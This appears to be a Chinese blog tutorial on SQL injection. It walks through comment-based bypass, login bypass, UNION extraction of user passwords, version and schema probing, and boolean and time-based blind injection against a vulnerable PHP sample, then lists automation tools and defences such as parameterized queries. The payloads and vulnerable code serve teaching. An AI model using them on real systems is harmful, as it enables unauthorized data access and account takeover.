初识SQL注入
先放两张以前见过的老照片(个人印象还挺深刻的)
- 奇怪的车牌
- 取了个好名字
上面两个案例,都用到了SQL注入的攻击手段。
什么是SQL注入
SQL injection(SQLi
),即SQL注入
,是一种常见的网络安全攻击手段。主要是攻击者利用SQL语句拼接漏洞,干扰应用程序和其数据库之间的交互。
在某些情况下,攻击者通过SQL注入可以破坏底层服务器或者后端基础架构,或执行拒绝服务攻击。
SQL注入有什么影响
成功的SQL注入可能导致未经授权的访问敏感数据,比如密码,用户的隐私数据等(即脱库
),也可能直接造成数据库/服务器宕机。
一些情况下,攻击者可以获得进入系统的持久后门,从而导致长期危害,而这种危害可能会在很长一段时间内被忽视。
常见SQL注入案例手段
获取隐藏内容
:修改SQL查询语句,返回更多隐藏内容修改应用逻辑
:修改SQL语句,干扰应用程序的正常逻辑UNION攻击
: 通过UNION手段,可以从不同的数据库表中获取更多数据获取数据库信息
: 可以控制修改SQL语句,获取数据库版本、接口甚至用户等信息SQL盲注
:修改SQL语句,结果不会在应用中返回,但是能通过其他表现获取关键信息
获取隐藏内容
这里举个例子:一个购物应用网站,当用户点击礼物
类别的时候,浏览器请求URL:
https://insecure-website.com/products?category=Gifts
这个会出发应用程序在数据库中执行下面的SQL语句进行查询:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
这个SQL语句要求返回满足下面条件的内容:
- 返回的是
所有
详细信息(SELECT *) - 返回的是
商品
的信息(FROM products) - 商品的
类别
是礼物
(gategory=‘Gifts’) - 这个商品是
发布
(released=1)了的
如果这个SQL没有做好防护,有SQL注入漏洞,那么我们可以通过构造URL进行SQL注入攻击,URL如下:
https://insecure-website.com/products?category=Gifts'--
这将导致SQL变为
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
注意!关键点出来了,就是这两个减号 --
。
--
是SQL中的注释符号,在它后面的内容都被注释掉。那么上面的SQL真实的内容其实就变为了:
SELECT * FROM products WHERE category = 'Gifts'
这个对比前面的内容,少了个 AND released = 1
,那么那些released
为其它值的数据,就都会被这个语句查询到。比如说released = 0
代表的未发布的产品信息。
这里提一下前面的第二幅漫画,它从可能的SQL语句
insert into students (name) values (‘Robert’);
变为了insert into students (name) values (‘Robert’); Drop table students;--’);
这两句话,在添加学生Robert的同时,还删掉了整个students
表。
大多数的SQL注入都伴随着
'
和--
这个组合,前面的单引号是做闭合使用,让SQL查询查询的内容闭合。后面的两个减号做注释用,防止后面的内容导致SQL拼接出错。
修改应用逻辑
比如下面的SQL来检验用户登录:
SELECT * FROM users WHERE username = 'waylon' AND password = '123456'
查询能返回用户的详细信息,则登录成功,否则登录失败。
如果攻击者有办法使用SQL注入将username的内容后面加上'--
,那么就可以隐藏掉password的验证:
SELECT * FROM users WHERE username = 'waylon'--' AND password = '123456'
这句话实际执行能容就是:
SELECT * FROM users WHERE username = 'waylon'
那么只要有这个用户,就是登录成功,和最初的应用逻辑相违背了。
不仅如此,如果是管理账号呢?下面的SQL:
SELECT * FROM users WHERE username = 'root'--' AND password = '123456'
会直接以root身份登录,其危险性可想而知!
UNION攻击
UNION攻击,顾名思义,就是使用SQL的UNION功能,将一个成功执行的SQL附加上其他表的联合查询,获取其他表的信息。
考虑到下面SQL:
SELECT name, description FROM products WHERE category = 'Gifts'
攻击着可以将URL的输入Gifts变为
Gifts' UNION SELECT username, password FROM users--
就可以最终将整个查询语句变为:
SELECT name, description FROM products WHERE category = 'Gifts' UNION SELECT username, password FROM users--'
这下好了,除了产品信息,其他用户信息都直接查询出来了。
获取数据库信息
在初步识别某个站点、某个页面、某个请求有SQL注入漏洞之后,如果能获取到数据库本身的一些通用信息,是非常关键的。这样的话,攻击者就可以节省时间,为更进一步的针对特定的数据库进行攻击铺平道路。
不同的数据库,都有一些基础的语句来描述他们的版本。
数据库 | 查询版本号的语句 |
---|---|
MSSQL,MySQL | SELECT @@version |
Oracle | SELECT * from v$version |
PostgreSQL,MySQL | SELECT version() |
如何查询这些信息呢?如果有SQL注入漏洞,可以使用前面提到的UNION攻击,构造对应的SQL语句:
' UNION SELECT @@version--
成功的话会返回一些版本号信息,比如:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
除了数据库版本信息,还有很多其他关键信息,比如一些元数据信息,只要构造下面的SQL即可:
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
SQL盲注
SQL盲注即blind SQL injection
,在进行SQL注入的时候,额外的数据不会直接显示在页面上,不过会根据不同的SQL注入内容,改变展示的方式(来自维基百科)。
这个说的有点笼统,通俗来讲,就是一个字猜
,靠感觉,感觉什么?感觉差异
,什么差异?就是页面展示的差异
还有时间返回差异
。也就是说我们想实现的是我们要构造一条语句来测试我们输入的布尔表达式,使得布尔表达式结果的真假直接影响整条语句的执行结果,从而使得系统有不同的反应,在时间盲注中是不同的返回的时间,在布尔盲注中则是不同的页面反应。
SQL构造如下:
我们可以把我们输入布尔表达式的点,称之为整条语句的开关,起到整条语句结果的分流作用,而此时 我们就可以把这种能根据其中输入真假返回不同结果的函数叫做开关函数,或者叫做分流函数
盲注方法很多,我这里主要展示下两种盲注:
- 布尔盲注
- 时间盲注
布尔盲注
布尔盲注是在不知道 SQL 查询的返回值,但是知道查询是否成功
的情况下,猜测
数据库中的敏感信息的手法。
布尔注入用到的函数:
函数 | 作用 |
---|---|
mid(str,start,length) | 字符串截取 |
ORD() | 转换成asc |
Length() | 统计长度 |
version() | 查看数据库版 |
database() | 查看当前数据 |
user() | 查看当前用户 |
假设有以下PHP代码:
源码直接用 GET 方法传入参数 id,但是没有经过任何过滤就拿去 SQL 查询了。同时我们看到网页并不会返回查询的结果,而是当查询到内容时返回 “User ID exists in the database”,查不到时返回 “User ID is MISSING from the database”。
<?php
if(isset($_GET['Submit'])){
// Get input
$id = $_GET['id'];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows($result); // The '@' character suppresses errors
if($num > 0){
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else{
// User wasn't found, so the page wasn't!
header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
例如在输入框输入 id,服务器返回这个 id 是否存在。也就是说查询内容不会被回显,存在 SQL 盲注漏洞。
首先注入如下内容,根据回显信息查询成功。
1' and 1 = 1 #
接着注入如下内容,根据回显信息查询失败。由此我们可以得出页面存在 SQL 盲注,并且因为需要用单引号闭合,这是个字符型的注入漏洞。
1' and 1 = 2 #
下面我们尝试如何获取当前数据库版本号
首先测试版本号的长度,这里要用到一些 MySql 函数。length()
函数用于获取字符串的长度,substr( string, start, length)
函数用于截取字符串 string
,start
为起始位置,length
为长度。注入如下内容,首先用 substr
函数提取返回的版本号字符串,使用 length()
函数和我们的猜测值比较是否相等。返回查询不存在,说明版本号字符串长度不为猜测值 1。
1' and length(substr((select version()),1)) = 1 #
测试到长度为 6,返回查询成功,说明版本号字符串长度是 6。
1' and length(substr((select version()),1)) = 6 #
接下来就要猜测版本号字符串的内容了,MySql 的版本号由数字和 “.” 符号组成。例如我猜测字符串的第一个字符为 “5”,则我注入如下内容,返回查询成功说明第一个字符是 “5”。
1' and substr((select version()),1,1) = '5' #
注入方法是使用穷举法,依次用 0 ~ 9 和 “.” 11 个字符进去测试。经过 SQL 盲注后,回显查询成功的语句如下,组合起来的版本号是 “5.7.26”。
1' and substr((select version()),2,1) = '.' #
1' and substr((select version()),3,1) = '7' #
1' and substr((select version()),4,1) = '.' #
1' and substr((select version()),5,1) = '2' #
1' and substr((select version()),6,1) = '6' #
时间盲注
所谓时间盲注是利用 sleep()
或 benchmark()
等函数让 MySql 执行时间变长,通过执行的时间判断是否查询成功。时间盲注经常与 if(expr1,expr2,expr3)
语句结合使用,通过页面的响应时间
来判断条件是否正确。
判断注入类型
MySQL 中的 sleep()
函数起到等待的功能,执行 select sleep(N)
可以等待 N 秒钟。注入下面的内容,服务器响应时间很短,说明 sleep()
函数没有执行。
1 and sleep(3) #
注入下面的内容,服务器响应时间大于 3 秒,说明 sleep()
函数被执行,服务器存在字符型的 SQL 盲注。
1' and sleep(3) #
利用类似布尔盲注的方法,可以继续获取版本号的内容
首先要获取版本号的长度,这里要用到 if(expr1,expr2,expr3)
语句,其含义是如果 expr1
的结果是 True
,则返回 expr2
,否则返回 expr3
。构造如下语句,版本号的猜测值为 1,服务器的响应时间很快,说明 sleep()
函数没有执行。
1' and if(length(substr((select version()),1)) = 1, sleep(3), 1) #
测试到测试值为 6 时,服务器有明显延迟,可以抓包看到响应时间大于 3 秒,说明版本号长度为 6。
1' and if(length(substr((select version()),1)) = 1, sleep(3), 1) #
接下来就要猜测版本号字符串的内容了,MySql 的版本号由数字和 “.” 符号组成。例如我猜测字符串的第一个字符为 “5”,则我注入如下内容,服务器响应时间大于 3 秒说明第一个字符是 “5”。
1' and if(substr((select version()),1,1) = '5' , sleep(3), 1) #
好了,盲注方法和SQL绕过方法还有很多,这里就不做更多介绍了。
常见工具
SQL注入原理虽然简单,但是实现起来,需要大量的注入语句尝试,然后验证,这样的工作是很无聊的,所以有很多自动化工具,下面列出一些常见的工具。
-
1、SQLMap
SQLMap是一款开源渗透测试工具,可用于自动检测和利用SQL注入漏洞,并接管数据库服务器。Sqlmap 是一个基于命令行的半自动化SQL注入攻击工具。在我们使用扫描器或者是手工发现了一个SQL注入点后,通常需要验证注入点是否是一个可以利用的点,这个时候就可以利用sqlmap来完成。
-
2、jSQL Injection
jSQL Injection是一个轻量级的应用程序,用于从远程服务器查找数据库信息。jSQL是免费的,开源的和可多平台使用的(Windows,Linux,Mac OS X,Solaris)。
jSQL injection是一款由JAVA开法的SQL自动化注入工具,它提供了数据库查询、后台爆破、文件读取、Web shell、SQL Shell、文件上传、暴力枚举、编码、批量注入测试等强大的功能,是一款非常不错的工具,也是渗透测试人员的强大助手。它支持GET\POST注入,同时也可以进行HTTP头注入(这个需要用户自动构建)。与sqlmap相比,其拥有图形化的界面和完整的中文支持。
- 3、BBQSQL
SQL盲注可是一个痛苦的过程。当工具都正常工作时,它们表现得很好,但是当它们无效时,你必须自己编写一些自定义的东西,这个过程既费时又乏味。而这一款盲注工具BBQSQL可以帮助我们解决这些问题。
BBQSQL是一款用Python编写的SQL盲注框架。在攻击棘手的SQL注入漏洞时,它会显得非常有用。BBQSQL还是一款半自动工具,可以为不会发现SQL注入点的用户提供大量自定义功能。该工具可与数据库无关,并且用途极为广泛。它还具有非常直观的用户界面,使设置攻击变得更加容易。同时,它也实现了Python gevent,这些都使BBQSQL非常快。
-
4、NoSQLMap
NoSQLMap是一款Python编写的开源工具,常用于审计NoSQL数据库中的自动注入攻击、为了从数据库中揭露数据而利用NoSQL数据库或使用NoSQL的Web应用的默认配置弱点。它这样命名是为了几年Bernardo Damele和Miroslav创作的流行的SQL工具SQLmap,它的设计理念来源于Ming Chow在Defcon中发表的很棒的演讲-”Abusing NoSQL Databases”。该工具目前主要应用于MongoDB,但是它在未来的版本中还会支持其他基于NoSQL的平台,如CouchDB, Redis和Cassandra等。当前该项目的目的是为简单攻击MongoDB服务器和一些web应用提供渗透测试工具,以及用通过概念攻击来证明某NoSQL应用不会受到SQL注入。
-
5、Whitewidow -SQL漏洞扫描程序
Whitewidow是是一个开源自动化SQL漏洞扫描程序,能够运行文件列表,或者可以抓取谷歌搜索潜在的易受攻击的网站。它允许自动文件格式化,随机用户代理,IP地址,服务器信息,多个SQL注入语法,从程序启动sqlmap的能力,以及有趣的环境。该程序是为学习目的而创建的,旨在向用户传授漏洞的样子。
如何防御
知道SQL注入是什么很有意义,这样我们就有对应的方法来应对SQL注入攻击。有很多方法可以防御SQL注入,下面列出一些常见手段。
1、使用预编译SQL + 参数化查询来避免SQL注入
一般有SQL注入漏洞的地方,大都是使用原始字符串拼接
SQL导致的问题,比如:
mysql_select_db(“yami",$con);
$query = "select * from users where id = " . $_GET['id'];
$sql = mysql_query($query,$con);
$result = mysql_fetch_array($sql);
或者:
String sql = "SELECT * FROM users WHERE name ='"+ name + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
另外,Java系列的Mybatis中的美元符号$
也可能导致SQL注入
<select> select * from users where id = ${id} </select>
采用SQL内置支持的预编译SQL语句即可。
PreparedStatement myStmt;
myStmt = myCon.prepareStatement(select * from students where age> ? and name = ?);
myStmt.setInt(1,10);
myStmt.setString(2,"Chhavi");
ResultSet myRs= myStmt.executeQuery();
或者使用Mybatis的#
符号。
<select> select * from users where id = #{id} </select>
2、使用对象关系映射(ORM)框架
使用ORM,直接跳过SQL拼接,让框架帮我们做好过滤和筛查。
Session session = getSession();
session.beginTransaction();
Student studentResult = session.load(Student.class, student.getId());
//更新Name
studentResult.setName(student.getName());
//执行更新操作
session.update(studentResult);
session.getTransaction().commit();
session.close();
3、代码规范
网络安全的绝大部分问题,都在于各种代码不规范,只要做到代码规范,能够防御99%的安全漏洞。
- 1、黑名单
- 2、白名单
- 3、敏感字符过滤和转义
- 4、使用框架安全查询
- 5、规范输出
4、防护层
- 1、WAF
- 2、数据库审计
- 3、云防护
- 4、IPS(入侵防御系统)
参考:
https://en.wikipedia.org/wiki/SQL_injection
https://portswigger.net/web-security/sql-injection
https://zhuanlan.zhihu.com/p/139737334
https://www.cnblogs.com/linfangnan/p/13694057.html
https://www.anquanke.com/post/id/170626#h2-13
https://www.freebuf.com/vuls/265308.html
评论区